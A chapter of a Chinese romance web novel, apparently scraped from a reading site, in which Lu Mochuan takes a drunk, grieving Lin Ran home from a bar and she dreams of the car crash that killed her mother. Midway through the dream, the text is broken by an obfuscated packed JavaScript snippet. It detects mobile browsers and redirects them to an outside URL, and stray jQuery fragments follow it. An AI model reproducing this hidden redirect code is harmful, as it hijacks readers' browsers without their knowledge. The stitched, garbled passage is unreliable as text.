这段时间,陆墨川周身都笼着一层低气压。
陆家的“变故”,圈子里一块玩的朋友多少都有耳闻。
和他走得近的几个哥们了解他的性子,谁也不敢多问。只是变着法儿组局——今天喝酒,明天打球,后天又张罗着去哪家新开的馆子,想着法儿让他出来散散心。
包厢里有人划拳,有人摇骰子,有人举着手机拍视频。
此刻,陆墨川坐在卡座里,手里攥着听冰可乐,往那一靠,对谁都一副爱搭不理的模样。
汪洋和荣光野对视一眼。
两人默默起身,走出了包厢,倚在二楼的栏杆边。
汪洋掏出烟盒,磕出一根递给荣光野,自己叼上一根,打火机“咔哒”一声,火苗窜起来,照亮了两人的脸。
“川爷这么耗着也不是事儿啊。”汪洋吐出一口烟,眯着眼看楼下舞池里的人晃来晃去。
荣光野没接话,闷头吸了一口。
“欸,”汪洋侧过脸,声音压低了,“陆叔那事儿……是真的假的?”
荣光野瞥了他一眼,叹了口气:“家家有本难念的经。”
他仰起头,对着半空缓缓吐出个烟圈。烟圈晃晃悠悠往上飘,越散越大,最后没了影儿。
汪洋看着那团散掉的烟圈,把嘴边的话又咽了回去。
“嘿!”荣光野胳膊肘戳了他一下,眼睛盯着楼下某个方向,眯了眯:
“哎,你看一楼卡座——那是不是林冉?”
汪洋顺着他的目光看过去。
灯光流转间,一个熟悉的身影坐在角落的卡座里。
她低着头,发丝垂落,遮住了半张脸。那安安静静的模样,他一眼就认出来了。
陆墨川刚从洗手间出来,正往回走,俩人的话恰巧飘进他的耳朵里。
他脚步蓦地一顿,顺着汪洋示意的方向看过去。
一楼大厅卡座里,林冉一个人坐着,她怔怔地盯着一处,眼神空茫。
柔顺的长发披在肩头,低垂的眉眼晕着一层倦色,忽明忽暗的光影掠过她的侧脸,那一身樱粉色的运动套装,在流转的霓虹下被染成了斑斓的颜色。
舞池中央,躁动的音乐震得人心口发麻,男男女女投身于声浪中,身体摆动、交缠、融进震耳欲聋的节拍里。笑与泪,声与光,混作一片沸腾的海洋。
舞池里晃出来一个人——破洞牛仔,一头黄毛,径直朝林冉走了过去。
他双手插兜,上下打量了她一眼:“美女,一个人多没意思,跳个舞呗?”
林冉没抬眼,轻轻摇了摇头。
二楼栏杆边,陆墨川将这一幕看在眼里。
他漆黑狭长的眼微微眯起。
下一秒,
径直朝楼下走去。
穿过扭动沸腾的人群,在她面前站定:“林冉,别喝了。”
他伸出手,不由分说地夺下她指间虚握的酒瓶。
旁边的黄毛,被这骤然笼下来的低气压镇住了,喉头滚了滚,下意识退后两步,扭头扎进人群,不见了踪影。
林冉像是刚从一场浑浑噩噩的梦中惊醒,缓缓抬头。
她眼中氤氲着迷离的水光,视线恍惚地聚焦在他脸上——某一瞬,陆墨川冷峻的脸竟和记忆中的另一张脸重叠在了一起。
“你个渣男……”
她猛地站起身,用尽力气推了他一把,声音混着哭腔,还有压抑已久的愤怒和委屈:“离我远点!渣男!”
陆墨川身形未动,就这么低头看着她。
“你走啊!不用你管!你走——”
汪洋和荣光野挤过人群,刚凑过来,就撞上这一幕。
汪洋用眼神疯狂示意:什么情况?川爷什么时候把林妹妹“收”了?
荣光野眉头一皱,回了个眼神:不对啊,小两口闹别扭也不至于骂他渣吧?
两人劝也不是,走也不是,一时竟尬在原地。
陆墨川眼风一扫。
汪洋和荣光野立马识趣地转身溜了。
汪洋叼着烟,猛吸了两口,吐出一串烟圈:“哎,你说,川爷和林冉……这是好上了?”
荣光野嘿嘿一笑:“你还别说,我看林妹妹……还真能降住他。”
话音刚落,两人一抬眼,看见陆墨川半扶半抱着林冉从酒吧正门出来。
汪洋眼疾手快,几步上前拉开了越野车的门。
陆墨川俯身,小心翼翼地把半醉的林冉放进副驾,又探身进去,替她把座椅调低。
荣光野靠在车门边,看着他那副轻手轻脚的模样,忍不住嘴贱:
“哟,川哥,今晚玩得尽兴啊——”
陆墨川直起身,一记冷眼扫过来。
荣光野立马做了个嘴巴上拉链的动作,麻溜地退后两步,乖乖收了音。
林冉的手机响了。
陆墨川用余光瞥了一眼屏幕——李雨璇。
他滑开接听。
“冉宝,你别难过了,你在哪儿?我现在过去找你。”电话那头,李雨璇的声音又急又切。
“是我,陆墨川。”
李雨璇愣了一秒,明显松了口气:“她和你在一起?那就好,那我就放心了。”
陆墨川侧头看了眼靠在副驾上昏睡的林冉,压低声音:“她怎么了?一个人跑酒吧喝闷酒,赶巧被我碰上。”
电话那头沉默了几秒,李雨璇叹了口气:
“哎——她爸要娶那个相好的进门,林冉心里难受,和她爸在电话里大吵了一架。”
“好,我知道了。”
挂了电话,他从后座捞起自己的外套,盖在了林冉身上。
陆墨川的目光在她泪痕交错的脸上停留一瞬,默默发动了车子。
引擎低鸣,车子汇入夜晚喧嚣的长龙,车窗外飞速倒退的街景连成一片流淌的光带,明灭不定的光影映着陆墨川冷峻的侧脸。
车厢内一片寂静。
林冉的意识在迷蒙中缓缓下沉,思维开始变得松软又模糊。
眼前只剩下一片摇晃的光斑,似有似无地漂着。
前方那片柔软、浓稠的黑暗正悄无声息地漫了上来。
一束强光袭来,伴随着刺耳的急刹声,“哐当!”一声,林冉的意识开始飘忽,她手里精美的蛋糕盒子,被挤压成扭曲的形状,暗红色的血液混着棕色的奶油,在她白色的裙摆上,生出一大片冷艳的花。
一股股温热的、带着咸腥的液体缓缓上涌。
每一次吞咽咸腥味便更加汹涌地漫上来,像一枚生锈的铜钉,被无形的手狠狠楔进喉咙深处,它粘稠地附着在舌根,沉甸甸的,每一次呼吸都搅动着这团温热的腥咸直冲鼻腔。
她想呼救,可嗓子却发不出一点儿声音。
她想去掏手机,发现手机被甩在了路边的草丛里。
她费力的掰开车门,拖着沉重的身体一步步向草丛走去,身后是一路蜿蜒的血痕。
她费力弯下腰,指尖堪堪够到手机。
一双铮亮的皮鞋,出现在模糊的视线里。
“小姑娘不要报警,多少钱我都赔得起。”男人俊朗的脸上,笑容阴恻恻的,让人脊背发凉。
“你休想,我要报警,我要给妈妈打电话。”
男人目光一凛,把手机狠狠地碾在脚下。
“你看——你妈妈不是在车里睡着了吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276192|198254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>林冉猛地回头,发现妈妈双手紧握着方向盘,额角的血不停地往下淌。
白色的衬衫被洇红了大半。
“妈!妈妈!”林冉撕心裂肺地喊……
她喉间发出一声破碎的呜咽,猛地一下睁开了眼。
恍惚间眼前漆黑一片,她心一紧。
下意识赶紧翻找手机,口袋里没有,她的心更慌了。
“醒了?”陆墨川声音低沉,带着一丝不易察觉的微哑。
林冉一怔,模糊的光影中辨出陆墨川的轮廓:“你……你怎么会在这?”她的声音带着一丝懵然和慌乱。
“你一个人跑去喝闷酒,被我撞见了。”
陆墨川清了清嗓子,侧头看她:“下次别一个人去,不安全。”
“给你添麻烦了……”林冉垂下眼,小声说。
窗外流转的灯光掠过她白皙的脸,一滴泪噙在泛红的眼角,将落未落。
陆墨川的视线在她脸上停了一瞬,缓缓开口:“没事。”
他顿了顿:“下次想喝酒,可以找我。”
陆墨川的话像一颗投入湖心的石子,轻轻敲碎了林冉强撑的防线,所有的委屈和思念一下就涌了上来。
“我只是……太想我妈了。”林冉哽咽出声,抬手抹了一把脸上的泪。
“马上元旦了。”
林冉摇了摇头,泪水成串地滚了下来。
“我想让她抱抱我,听她说说话……可她再也回不来了。”
话音落下,车厢里只剩下林冉压抑的抽泣声。
陆墨川薄唇翕动,想说什么,却什么也没说。
林冉的哭声渐渐低了下去,变成断断续续的抽噎,她蜷起身子,双臂环抱着自己,仿佛这样就能缩进一个安全的角落。
陆墨川看着她,伸手将空调的温度调高。
半晌,林冉终于缓缓抬起红肿的眼睛:“对不起……”她声音沙哑:“我实在太难受了。”
“没事。”他的视线落在她湿润的睫毛上,声音又缓了几分:“想哭就哭。”
“陆墨川,你……有没有过那种时候?觉得一个人特别孤单,好像被困在一个透明的罩子里,看得见外面,却怎么也出不去。”
他看着前方被路灯照得昏黄的街道,喉结微动:“有。”
“尤其是当你知道,有些东西碎了,就再也拼不回去了。”
林冉吸了吸鼻子,努力让声音平稳下来:“那种感觉真得很难受,一切都看得真切,却又无能为力。”
“我懂你的感觉。”陆墨川看了她一眼,缓缓收回视线。
夜色渐深,宿舍楼的灯光渐次熄灭,只剩零星几扇窗还亮着。
陆墨川看了一眼时间:“时间不早了,快回去吧。”
林冉点点头,解开安全带,下了车
看着她纤细的背影,消失在楼梯转角,陆墨川才缓缓收回视线。
黑色大G的引擎发出一声低沉的轰鸣,滑入夜色。
陆墨川指节分明的手搭在方向盘上,心口那股同病相怜的酸涩却久久未散。
车子缓缓汇入车流。
红灯。
车子停下来。他偏头看了一眼副驾——座椅还保持着刚才调低的角度。空气中那缕茉莉香若有若无,像她这个人,软软的,轻轻的。
绿灯亮了。
后面的车按了几声喇叭,陆墨川回过神,踩下油门。
他忽然想起今晚在酒吧,她推开他时说的那句话——“你个渣男”。
渣男。
他扯了扯嘴角。
活了二十几年,被人叫过陆少,叫过川爷,叫过墨川哥,被人骂渣男,还是头一遭。